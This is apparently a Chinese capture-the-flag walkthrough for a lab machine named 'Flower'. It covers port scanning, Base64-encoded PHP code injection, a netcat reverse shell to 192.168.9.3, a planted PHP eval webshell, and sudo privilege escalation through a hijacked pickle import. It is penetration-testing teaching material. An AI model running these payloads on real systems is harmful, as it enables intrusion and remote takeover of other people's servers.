2.Flower

1. 基本信息^toc

2. webshell

nmap 扫描端口

Nmap scan report for 192.168.9.4
Host is up (0.00014s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:18:4F:12 (Oracle VirtualBox virtual NIC)

访问网站查看

...

点击submit

...

选择不同的花会显示出不同的数字

...

既然这个数字在变,那我应该从数字入手。抓个包看看

...

这个MSsy就是1+2=3

...

说明这里存在Base64后的代码解析

先测试下

...

直接反弹shell

c3lzdGVtKCdiYXNoIHwgbmMgMTkyLjE2OC45LjMgMTEyMicp
#system('bash | nc 192.168.9.3 1122')

...

弹shell成功后但是不给回显

...

直接写文件

先看一下当前目录

...

就在网站目录

3. 写后门

system('echo "<?php eval(\$\_POST[\"pass\"]);?>" > a.php');
c3lzdGVtKCdlY2hvICI8P3BocCBldmFsKFwkX1BPU1RbXCJwYXNzXCJdKTs/PiIgPiBhLnBocCcpOw==

哥斯拉连接

...

...

4. 提权

find / -perm -4000 2>/dev/null

尝试SUID 提权发现没有什么可以利用的

...

这里面可以看到有sudo

我们看下当前用户可以用sudo执行什么文件

/tmp >sudo -l

Matching Defaults entries for www-data on flower:
    env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on flower:
    (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py

看下这个文件

import pickle

diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"}
p = open('diary.pickle','wb')
pickle.dump(diary,p)

分析脚本可以发现这个脚本会引入pickle模块,然后执行代码

这里我们在同级目录新建一个pickle.py文件。这样就会引入我们的这个pickle.py 而不会引入模块库里面的pickle

新建一个pickle.py文件

将反弹命令写进这个文件里面

import os;os.system("/bin/bash")

然后执行diary.py

sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py

sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py

system('nc -e /bin/sh 192.168.9.3 9999')